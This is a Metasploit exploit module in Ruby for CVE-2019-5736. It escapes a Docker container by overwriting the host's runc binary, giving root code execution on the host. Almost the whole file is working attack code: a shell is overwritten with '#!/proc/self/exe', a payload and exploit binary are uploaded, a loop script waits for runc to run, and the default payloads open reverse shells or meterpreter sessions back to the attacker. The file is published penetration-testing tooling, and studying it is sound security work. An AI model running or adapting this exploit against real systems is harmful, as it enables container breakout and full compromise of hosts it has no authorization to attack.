## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Post::Linux::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper # This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c PAYLOAD_MAX_SIZE = 1048576 def initialize(info = {}) super( update_info( info, 'Name' => 'Docker Container Escape Via runC Overwrite', 'Description' => %q{ This module leverages a flaw in `runc` to escape a Docker container and get command execution on the host as root. This vulnerability is identified as CVE-2019-5736. It overwrites the `runc` binary with the payload and wait for someone to use `docker exec` to get into the container. This will trigger the payload execution. Note that executing this exploit carries important risks regarding the Docker installation integrity on the target and inside the container ('Side Effects' section in the documentation). }, 'Author' => [ 'Adam Iwaniuk', # Discovery and original PoC 'Borys Popławski', # Discovery and original PoC 'Nick Frichette', # Other PoC 'Christophe De La Fuente', # MSF Module 'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code) ], 'References' => [ ['CVE', '2019-5736'], ['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'], ['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'], ['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/'] ], 'DisclosureDate' => '2019-01-01', 'License' => MSF_LICENSE, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], 'Privileged' => true, 'Targets' => [ [ 'Unix (In-Memory)', { 'Platform' => 'unix', 'Type' => :unix_memory, 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux (Dropper) x64', { 'Platform' => 'linux', 'Type' => :linux_dropper, 'Arch' => ARCH_X64, 'Payload' => { 'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string push 4 pop rdi _close_fds_loop: dec rdi push 3 pop rax syscall test rdi, rdi jnz _close_fds_loop mov rax, 0x000000000000006c push rax mov rax, 0x6c756e2f7665642f push rax mov rdi, rsp xor rsi, rsi push 2 pop rax syscall push 2 pop rax syscall push 2 pop rax syscall ASM }, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true } } ], [ 'Linux (Dropper) x86', { 'Platform' => 'linux', 'Type' => :linux_dropper, 'Arch' => ARCH_X86, 'Payload' => { 'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string push 4 pop edi _close_fds_loop: dec edi push 6 pop eax int 0x80 test edi, edi jnz _close_fds_loop push 0x0000006c push 0x7665642f push 0x6c756e2f mov ebx, esp xor ecx, ecx push 5 pop eax int 0x80 push 5 pop eax int 0x80 push 5 pop eax int 0x80 ASM }, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'PrependFork' => true } } ] ], 'DefaultOptions' => { # Give the user on the target plenty of time to trigger the payload 'WfsDelay' => 300 }, 'DefaultTarget' => 1, 'Notes' => { # Docker may hang and will need to be restarted 'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new( 'OVERWRITE', [ true, 'Shell to overwrite with \'#!/proc/self/exe\'', '/bin/sh' ] ), OptString.new( 'SHELL', [ true, 'Shell to use in scripts (must be different than OVERWRITE shell)', '/bin/bash' ] ), OptString.new( 'WRITABLEDIR', [ true, 'A directory where you can write files.', '/tmp' ] ) ]) end def encode_begin(real_payload, reqs) super return unless target['Type'] == :unix_memory reqs['EncapsulationRoutine'] = proc do |_reqs, raw| # Replace any instance of the shell we're about to overwrite with the # substitution shell. pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL']) overwrite_basename = File.basename(datastore['OVERWRITE']) shell_basename = File.basename(datastore['SHELL']) # Also, substitute shell base names, since some payloads rely on PATH # environment variable to call a shell pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename) # Prepend shebang "#!#{datastore['SHELL']}\n#{pl}\n\n" end end def exploit unless is_root? fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') end if target['Type'] == :unix_memory print_warning( "A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\ "unavailable on the target as long as the new session is alive. Using a\n"\ "Meterpreter payload is recommended, since specific code that\n"\ "daemonizes the process is automatically prepend to the payload\n"\ "and won\'t block Docker." ) end verify_shells path = datastore['WRITABLEDIR'] overwrite_shell(path) shell_path = setup_exploit(path) print_status("Launch exploit loop and wait for #{wfs_delay} sec.") cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false) print_status('Done. Waiting a bit more to make sure everything is setup...') sleep(5) print_good('Session ready!') end def verify_shells ['OVERWRITE', 'SHELL'].each do |option_name| shell = datastore[option_name] unless command_exists?(shell) fail_with(Failure::BadConfig, "Shell specified in #{option_name} module option doesn't exist (#{shell})") end end end def overwrite_shell(path) @shell = datastore['OVERWRITE'] @shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}" print_status("Make a backup of #{@shell} (#{@shell_bak})") # This file will be restored if the loop script succeed. Otherwise, the # cleanup method will take care of it. begin copy_file(@shell, @shell_bak) rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}") end print_status("Overwrite #{@shell}") begin write_file(@shell, '#!/proc/self/exe') rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}") end end def setup_exploit(path) print_status('Upload payload') payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}" if target['Type'] == :unix_memory vprint_status("Updated payload:\n#{payload.encoded}") upload(payload_path, payload.encoded) else pl = generate_payload_exe if pl.size > PAYLOAD_MAX_SIZE fail_with(Failure::BadConfig, "Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes") end upload(payload_path, generate_payload_exe) end print_status('Upload exploit') exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}" upload_and_chmodx(exe_path, get_exploit) register_files_for_cleanup(exe_path) shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}" @runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}" print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})") upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path)) return shell_path end def upload(path, data) print_status("Writing '#{path}' (#{data.size} bytes) ...") begin write_file(path, data) rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}") end register_file_for_cleanup(path) end def upload_and_chmodx(path, data) upload(path, data) chmod(path, 0o755) end def get_exploit target_arch = session.arch if session.arch == ARCH_CMD target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86 end case target_arch when ARCH_X64 exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin') when ARCH_X86 exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin') else fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}") end end def loop_script(exe_path:, payload_path:) <<~SHELL while true; do for f in /proc/*/exe; do tmp=${f%/*} pid=${tmp##*/} cmdline=$(cat /proc/${pid}/cmdline) if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then #{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}& sleep 3 mv -f #{@shell_bak} #{@shell} chmod +x #{@shell} exit fi done done SHELL end def cleanup super # If something went wrong and the loop script didn't restore the original # shell in the docker container, make sure to restore it now. if @shell_bak && file_exist?(@shell_bak) copy_file(@shell_bak, @shell) chmod(@shell, 0o755) print_good('Container shell restored') end rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}") ensure # Make sure we delete the backup file begin rm_f(@shell_bak) if @shell_bak rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}") end end def on_new_session(new_session) super @session = new_session runc_path = cmd_exec('which docker-runc') if runc_path == '' print_error( "'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\ "This must be done manually with: 'cp #{@runc_backup_path} '" ) return end begin rm_f(runc_path) rescue Rex::Post::Meterpreter::RequestError => e print_error("Unable to delete #{runc_path}: #{e}") return end if copy_file(@runc_backup_path, runc_path) chmod(runc_path, 0o755) print_good('Original runc binary restored') begin rm_f(@runc_backup_path) rescue Rex::Post::Meterpreter::RequestError => e print_error("Unable to delete #{@runc_backup_path}: #{e}") end else print_error( "Unable to restore the original runc binary #{@runc_backup_path}\n"\ "This must be done manually with: 'cp #{@runc_backup_path} runc_path'" ) end end end